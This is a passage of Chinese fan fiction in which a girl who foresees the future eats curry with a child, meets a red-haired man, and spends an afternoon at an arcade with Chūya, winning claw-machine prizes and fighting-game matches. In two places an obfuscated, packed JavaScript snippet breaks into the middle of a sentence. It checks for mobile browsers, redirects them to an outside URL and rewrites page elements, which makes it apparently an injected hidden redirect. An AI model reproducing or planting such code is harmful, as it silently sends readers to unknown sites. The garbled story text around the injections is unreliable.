夕阳彻底沉没,最后的光线将她们的影子拉得很长,但梨花的背影显得利落而挺直,每一步都踏得异常坚定,仿佛每一步都在与过去的某个自己告别。那一刻,她不再是那个需要刻意地离群索居、还因为自尊心依靠纸笔或机器交流来处处掩饰自己缺陷的结巴少女,而是一个终于得以把她的锐利呈现于言语、捍卫过去与此刻的梨花。 与任何人的期望与理解都无关。 她就是自己的预言者。 尽管语言的枷锁其实并未完全消失,但裂痕却已生,光芒涌入。而某些情感的纽带,或许也在共同的伤痛、维护与对过去阴影的超越中,变得更加深刻而不可分割。 数日后,横滨街头的紧张气氛似乎略微缓和,但空气中仍弥漫着山雨欲来的压抑。沙耶的死亡如同一个沉重的休止符,暂时遏制了羊的盲目扩张,梨花则由那台崭新的PDA开始,正式打开了电子产品的世界。 某个午后,阳光难得驱散了冬日部分干冷,梨花带光夏找了一家狭小却干净的店面吃咖喱饭。这个时间点店铺的客人不多,梨花带着光夏找了一个靠窗的位置坐下。 梨花点了一份标准口味的猪排咖喱和一份儿童口味的蛋包饭咖喱。等待餐点的时候,店门上的风铃叮当作响,又一个客人走了进来。那是一个穿着廉价的黑色西装、外面又随意套着件米色风衣的红发男人。 他看起来有些疲惫,眼神却异常平静,甚至带着点游离于周遭环境之外的淡漠。 “老板,猪排咖喱饭,老规矩。” 梨花的注意力不由得被这个看起来像个平平无奇的社畜的男人吸引,因为他似乎…… 有跟自己类似的能力? 8. 交给我 午后的阳光透过咖喱店干净的玻璃窗,在地板上投下温暖的光影。提出想要去吃咖喱饭其实是光夏的想法,梨花其实非常怀疑这孩子是不是终于想家了,毕竟这道十分国民的日本菜肴据说每家都是一个不同的做法、一种味道,也就是所谓“家”的味道。 然而,当浓稠又散发着复杂香气的咖喱送入口中时,梨花那点犹疑瞬间被味觉的体验冲散。浓郁的酱汁包裹着炖得软烂的肉块和蔬菜,口感层次丰富,带着恰到好处的甜味和不易察觉的果香,与她记忆中那种工业化又千篇一律的罐头咖喱截然不同。 “……奇怪。”她极轻地自语,又舀起一勺,“原来真正的咖喱,是这样的味道吗?”一种近乎探索的专注出现在她脸上。 “很不错吧?”一个平静的男声从旁边传来。那个穿着米色风衣的红发男人不知何时已经坐在了邻桌,此刻正看着她们,眼神里带着一种纯粹对食物被欣赏的认同感。 “这家店的正常口味是会用芒果泥来增甜,用特调的香料汁增加层次感的,的确比较符合年轻女孩子们的口味。” 梨花抬起头,看向他。男人看起来很疲惫,但眼神异常平静,梨花很少看见像他这样并非因为死气、却波澜不惊的人。 他说话的语气也自然得像是在讨论天气,并没有刻意的搭讪感。 然而,当老板将他点的“老规矩”端上来时,梨花忍不住微微睁大了眼睛。 因为那盘咖喱呈现出一种近乎危险的辛红色,表面甚至撒着一层厚厚的、令人望而生畏的辣椒粉。与梨花自己面前这盘温和醇厚又正常无比的咖喱形成了鲜明对比。 梨花下意识地做了一个微妙的、混合着惊讶和“这真的能吃吗”的表情,这种表情如果中原中也在场,一定会觉得异常眼熟,因为那就像他每次面对梨花点的那一桌子甜到发腻的甜品时所露出的表情差不多。 “味道的确不错,”梨花收敛了表情,用比以往流畅许多,但仍带着她特有平淡语调的声音回答,“我以前只吃过罐头装的咖喱……看来很多东西,都和标准化生产的速食产品并不一样。”她的话语带着一种客观评价感,但也流露出属于她这个年龄的新奇。 乌发雪青色眼眸的女孩用着平淡的语气回答,可能谁都不会想到,不久前她还是一个要依靠纸笔或PDA来辅助交流的小结巴。其实在以前最病急乱投医的时候,梨花甚至还想过根据报纸上所说的来练习腹语…… 织田作之助听了梨花的话却沉默一瞬,其实他与梨花搭话本就不是偶然,他的目光随意地扫过店内时就忍不住在梨花和光夏身上停顿了一下。这对在工作日过于年轻却带着孩子的组合本就有些反常,而且出于工作的习惯,织田作还眼尖的注意到梨花那台最新款的PDA,根据他一贯的情报分析模式,这或是社会经济阶层、或是高端职务需要的隐喻。 可梨花的话却又显示出她并不如这些推测出的信息一般,而是更像那些在如今的这个世道好好吃一顿饭就很难得的孩子。 “小姑娘,容我多问你一句,今天是上学的日子吧,你为什么会一个人带着一个这么小的孩子出门呢……她是你的妹妹吗?” 光夏原本正好奇地打量着这个跟她发色有点像的叔叔,这时却忍不住小声对梨花说:“姐姐,这个叔叔问题怎么好多啊。” 然而梨花只是慢条斯理的用纸巾擦了一下嘴角,忽然抬眼开口,“……学校?” 雪青色的眼眸中此刻多了几分防备的神色,但更多的却是一种嘲弄与蛮不在意,梨花好像并不是第一次被问到这个问题,但这一次却终于能够清晰的开口表达:“学校就是学习的地方吧,可我并不需要别人教我,如果我自己学的会更快,为什么要去呢?” “就是,梨花姐姐可聪明了!她懂得可多了,而且什么都一学就会!”光夏在一旁用力点头帮腔,一张小脸上满是崇拜。 织田作之助一时哑然。 他看着她,看着那双清澈却写满独立特行的眼睛,无奈地摇了摇头,倒是并没有试图反驳她那套高效的自我理论,而是说了一句让梨花有些意料不到的话:“可学校,或许的确也不只是学习知识的地方。” 他的目光涌现出了一抹追忆。 “我曾经有过一位很好的老师……抱歉,说的有点多了,小姑娘你很厉害啊。” 梨花听后看了看他,雪青色的眼眸中闪过思索。她觉得这个男人很奇怪,身上没有她所知道的那些成年人常见的暴戾或谄媚,反而有一种近乎慈悲的平静。就算他说了多余的话,也并不令人感到生厌,他夸奖梨花“很厉害”,甚至是真心的感到钦佩。 他随后又缓缓说道,“明明自己还是孩子却在照顾着另一个孩子,这点也很厉害。” 说完,他对着梨花和光夏微微颔首致意,然后起身,原来他桌上的咖喱不知道什么时候竟已经吃完。推开店门时风铃叮咚作响,他的身影很快就消失在了小巷的尽头。 下午的时候,梨花又带光夏去了大黑码头那家数码店,她最近打开了网络世界的大门,用光夏的话来说每天都对着那些会发光屏幕做让人看不懂的事。她们和数码店的老板也已然混熟,梨花时不时会多那样指点他一下,他也很乐意为梨花提供各种设备。 其中很重要的一个就是台式机,擂钵街可通不了网,所以她只能到数码店来。就是因为这个,梨花最近已经在考虑换住处了,毕竟自从羊扩张了势力范围以后,他们就换到外面的基地,很多人也找了新的住处。 数码店的门外,赭橘发的少年停停走走,向来雷厉风行的他此时却对接下来要怎样进行一个开场白而束手无策。光夏在店里的转转椅上百无聊赖的坐着,因为腿短到够不到地,中原中也经常让她小心一点。 看到外面那个熟悉发色的脑袋后,光夏就立刻跑了出去,“中也哥哥,你来啦!” “……你不要那么大声!” 光夏不明白他为什么要跟做贼一样,但还是很配合的跟他一起蹲了下来,并且用天真的表情开口道,“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360935|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,中也哥哥……梨花姐姐的话,早就能知道你会来的吧?” 中原中也顿时如遭雷击。 想到梨花或许连他来干什么都知道。 光夏看着他那副震惊的样子,眨了眨大眼睛,继续用她那纯真的语气,说着让中也头皮发麻的话:“哎,这可怎么办呀中也哥哥,我突然想到,以后梨花姐姐的男朋友肯定会好可怜哇~连他什么时候要表白,精心给梨花姐姐准备了什么惊喜,甚至以后想要求婚!是不是都瞒不过梨花姐姐呢?” “一点秘密都没有了呢~” 中原中也猛地瞪大眼睛,难以置信地看着眼前这个才到他腰高的小不点,脸颊却又不受控制地开始发烫。“你、你小小年纪,到底都在想些什么啊?!”他忍不住扶额,内心受到了巨大的冲击,这孩子的思维发散方向是不是有点问题?但光夏却是一副“没事的中也哥哥,我又不是在说你”的那种表情。 其实他今天过来,只不过是想做点什么表达一下对梨花之前提前通知他、并且之后还维护了他的那件事表达一下感谢,为此他甚至还咨询了一下羊中那些平日里不属于武斗派,来到羊只是为寻求庇护的女孩子。 自从那件事发生以后,中原中也索性也不装了,他承认自己和梨花就是关系好。而且这样明确表达了态度,或许也能让白濑那些人以后都少再骚扰她。那件事后白濑其实也收敛了很多,只不过不知道到底是因为同伴沙耶的死,还是梨花对他的那一番话。 但他和梨花关系好,似乎又让组织里的那些女生会错了意,因为她们给他开的方案都是什么“约她去浪漫的西餐厅吃饭!”“给她买项链买首饰!”“还是送花比较好吧!” 中原中也觉得这绝对有什么不太对。 另一边,梨花将电脑关机,跟老板说了一声后就走出门,果不其然看到一个其实也不算太大、一个更小的两个人在密谋大事。 梨花停下脚步,阳光勾勒出她纤细的身影。她看着中也那副混合着尴尬和苦恼的模样,嘴角几不可查地向上弯了一下。 “走吧。”少女清亮的声线响起,带着一丝不易察觉的轻松和……了然? 她微微歪头,目光落在赭发少年身上,语气自然得仿佛早已安排好一切:“你不是还没想好要干什么吗?那就由我来安排行程吧。”一边说着,她很自然的低身向少年伸出了手,下午的阳光每一寸都逆着穿过女孩的轮廓,很多年后就算中原中也再想起来,也只觉得她那时的样子简直像是在对他说——“请把你的未来也放心的一并交给我。” 中原中也愣神片刻,随即像是被那阳光暖化了所有犹豫,他啧了一声,仿佛有些不情愿,却毫不犹豫地伸出手,握住了她的。 “嘁……随便你吧。” 从干燥温暖的手心再到少年手腕根部的黑色伤口,都与少女的手心一一贴合相触。仿佛有微小的电流在中也的身上窜过,梨花则是深深看了一眼那道黑色伤口……两个人都几不可查地顿了一下,却又都没有松开。 9. 游戏厅 看到梨花带着自己来到的竟然是熟悉的地方,中原中也感到有些意外,因为面前的这个游戏厅是他和羊的许多男生经常过来消遣的地方,这里甚至仿佛还保留着他往日喧嚣欢闹的记忆。于是他马上就想通,觉得梨花果然预测到了他可能会有的一切安排。 “哇,是游戏厅哎!” 反而是光夏,其实并没有来过游戏厅,因为对她这个年纪的孩子来说或许有些太早了,但每次随父母路过时都会有天然的憧憬。她很快就跑到了一台抓娃娃机的面前,被里面的玛丽猫和红发女巫玩偶迷住眼睛。 中原中也轻车熟路的去兑换了用几个小筐装着的一大堆游戏币过来,光夏也不客气,直接将游戏币投进去就抓了起来。 第一次抓的有些偏,但第二次明明正正好好抓到玛丽猫的身子上,机械爪却突然松掉,之后光夏试了好几次,大致都是如此。最后光夏放弃了操作游戏杆,委屈的撅起嘴,“这东西是骗人的吧,根本抓不上来。” 纵使中原中也光临游戏厅许多次,但也从来没玩过抓娃娃机,但他经常看却也知道,这玩意并不是看起来那么简单。抓倒是也能抓到,只是却也要掌握一些门道,比如他看有些老手在抓前会使劲摇晃机械爪?利用爪子的摆动惯性。或者多观察别人玩完后的机器内部的状态,选择重心稳定的目标。 “我来试试吧。” 这个时候,梨花忽然出声了。只见她照常投入两个游戏币,然后雪青色的眼眸专注的映出橱窗里每一个娃娃摆放堆叠的状态。她似乎并不打算使用什么特殊的技巧,只是横平竖直的操作,在一只玛丽猫玩偶的大概则是脖子与身子处落爪。惊人的一幕出现了,机械爪的其中一根“指头”竟然勾住了旁边另一只玛丽猫玩偶头上的挂钩! 这只玛丽猫玩偶就这么被钓了出来。 “哇,梨花姐姐好厉害啊!” 玛丽猫从机子下面打开的窗口滚出来,被光夏美滋滋的抱在怀里。随后梨花自然就盯上了另一款红发女巫的玩偶,但随着她的目光在每一个娃娃上扫过,少女最终却是摇了摇了摇头,又换了对面的一台抓娃娃机。 这台抓娃娃机中同样也有红发女巫玩偶,这次梨花下手很快,马上就锁定一个红发女巫玩偶的头部落下机械爪。结果出奇的顺利,爪子干脆利落的就把娃娃送到出口。 这下换光夏有些不理解了,为什么同样都是让机械爪去抓到了娃娃,梨花就能把娃娃给抓上来?似乎看出她的疑惑,梨花便开口解释道:“这些机器似乎都是被人提前设置好的,爪子时松时紧,大多数时候都是松的,除非用一些特殊手段,比如勾到娃娃的挂钩,否则抓到也会松开。而当爪子紧的时候,只要正常抓实一般就可以上来。” 虽然话是这么说,其实梨花也使用了自己的能力辅助,到底该在哪个位置落爪,会有什么效果,她的眼前早已推出数条路径,而她只不过是选择了能够抓到娃娃的路径。但当爪子就是很松,娃娃机里的每个娃娃的摆放角度又都不合适,她就先换了台机器。 “如果你喜欢玩的话,可以试试这台机器”,梨花一边说着,带光夏来到一台里面都是头顶长了一朵小花的小鲸鱼玩偶的抓娃娃机面前,“每台机器的强抓周期都不同,刚才那台大概是每15次尝试中有1次强抓,但这一台的强抓频率更高,大约每8回1次。” 梨花继续平静地分析,“而且强抓时刻往往发生在前一个玩家失败后的第3到4次的尝试,大概是为了给玩家制造快要成功的错觉吧。” 中原中也听得直咂舌,忍不住说道,“你这能力还真是……也不是一般人能驾驭的。” 光夏将两只玩偶抱了个满怀,眨着眼睛说道:“梨花姐姐,你真的好厉害。” “所有看似随机的事件都有其内在规律,”梨花却平静地说道,“只要计算足够的精确,甚至能将概率提升至接近于必然。” 中原中也听到这里想到什么,忽然挑眉:“哦?那来比试一下如何?”他指向一旁的街机格斗游戏区,“那个你也能计算吗?” 梨花看着屏幕上闪烁的格斗游戏角色,微微歪头:“格斗游戏的模式同样基于它内部的决策树与概率权重,理论上来说,只要观察足够长的时间,就能预测所有动作。” “那就试试看。”中也投币,选择了自己常用的角色。最初几局梨花的操作生疏,他理所当然的轻松获胜,但从第四局开始,她的操作明显变得流畅,防御和反击的时机越来越精准。她甚至开始记住中也的习惯连招和偏好战术,但中原中也还是觉得哪里不对。 到了第十二局,梨花第一次获胜,而从第十五局开始,胜负已呈五五开。第二十局,中也发现自己必须全力以赴才能勉强取胜,他钴蓝色的眼眸在游戏的间隙中闪过思考,终于发现了事情不对的地方,“等等!” 他抬头看向梨花,眼神困惑,“你的能力应该是让你一开始就能预判我的动作吧?根本不需要观察之类的,难道说,你……” 梨花现在根本就没使用什么能力。 但准确的说,其实是只有现在用不了。 “终于发现了吗?”女孩雪青色的眼眸中闪过一抹平静又带着些许挑衅的笑意。 “但你的能力不是关不掉吗?” 他之前有听梨花谈起过这件事,那时中原中也细想之后,还觉得这能力多少有点邪门。毕竟倘若一个人无论干什么都不过是提前摆在面前的选项,那不是很可怕吗? “所以它只是对中也不起效而已。” 赭橘发的少年面上流露出有些震惊的神色,但随后他似乎又想到了什么,钴蓝色的眼底深处闪过的是一抹蒙有阴霾的了然。但再次思索后他却又还是不解,“可你今天明明早就知道我来数码店找你是为了干什么……” 听到这话,梨花更是不禁失笑,“有些猜测,只出于对一个人的了解也能做到吧?” 所以,她只是了解他。 原来如此,是她了解他啊。 那种念头一闪而过,令原本称得上潇洒不羁的赭橘发少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360936|183673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名觉得浑身都不自在,但却莫名又有一股根本压抑不住、不停地翻涌上来,近乎让他心脏感到胀痛的喜悦。 似乎完全不打算给他喘一口气的机会,对面的少女注视着他,雪青色的眼眸专注而平静,接下来的语气仿佛也只不过在说一件日常小事,“所以我喜欢和中也待在一起。” “咳咳,”听到这话,中原中也终于一时没忍住,他感觉自己的耳根就像火烧一样,好像还能看到一旁光夏不明觉厉的星星眼。 “……是吗,”中原中也勉强重新整理好情绪,将双手插回了口袋,接下来的询问似乎让他真的已经恢复了冷静,因为只听见他几乎是用不掩饰的试探语气低声问道:“所以你就是因为这个,才会不排斥我吗?” 他这话下意识把自己放得足够低。 梨花似乎是对他的话感到不赞同,于是有些认真的说道:“不知道,但应该不是……我刚开始发现这件事也觉得很惊讶,甚至不适应。一直都能够看见的数字和未来,就算有时会感觉厌烦,但如果突然看不见了,也一定会感觉到失去了什么重要保护的不安。” 可是,没错,“可和中也待在一起,即使我看不到未来……也仍旧感觉到很安心。” 这样的感受,一定没有第二个对象能够给予。游戏厅纷乱的彩灯仿佛在少女雪青色的眸中投下细碎而斑驳的光斑,犹如她的未来可能唯独在这个人面前,才会摇曳多姿。 而且还没有失去那些既定未来所庇佑带来的不安,她能够尽情享受那些可能性。 “你就没有想过,这是为什么吗?” 中原中也不再像一个毛头小子一样容易羞恼,此刻赭橘发少年的气质仿佛突然发生了某种转变,变得声音低沉而充斥着某种下意识的克制。像他这样、连自己都不知道自己到底从何而来,到底是什么东西的存在…… “我有想过。” “我猜想可能是因为你控制重力的能力,一直在无意识的对周围空间造成影响。肉眼不可见的细微空间坍塌,会影响到波函数的观测。” 听了梨花的话,中原中也感觉轻松了几分。因为和梨花对自己的感受一样,他也同样感觉只要是梨花说的话就格外令人信服。 “或许我们可以一起探究那个原因?” 即使知道了,她没法预测自己的未来。 即使她是任何人的先知,是别人眼中的西比拉,是某种意义上传达天意的神明……可在自己面前,她就只是一个普通的女孩。 中原中也仍旧愿意相信梨花的话。 少年张了张嘴,却发现自己一时失语。那些平日里游刃有余的调侃和嚣张此刻都消失无踪,只剩下一种不知所措的柔软情绪……前所未有的,足以被称之为“依赖”的情绪。 “那回头再说吧,”他下意识应答的声音有些沙哑,之后又将脸对准了光夏,“喂,小鬼应该饿了吧,先带你们去吃点好的。” 光夏开心地抱起一堆玩偶跟上两人,游戏厅的灯牌在他们身后渐渐远去。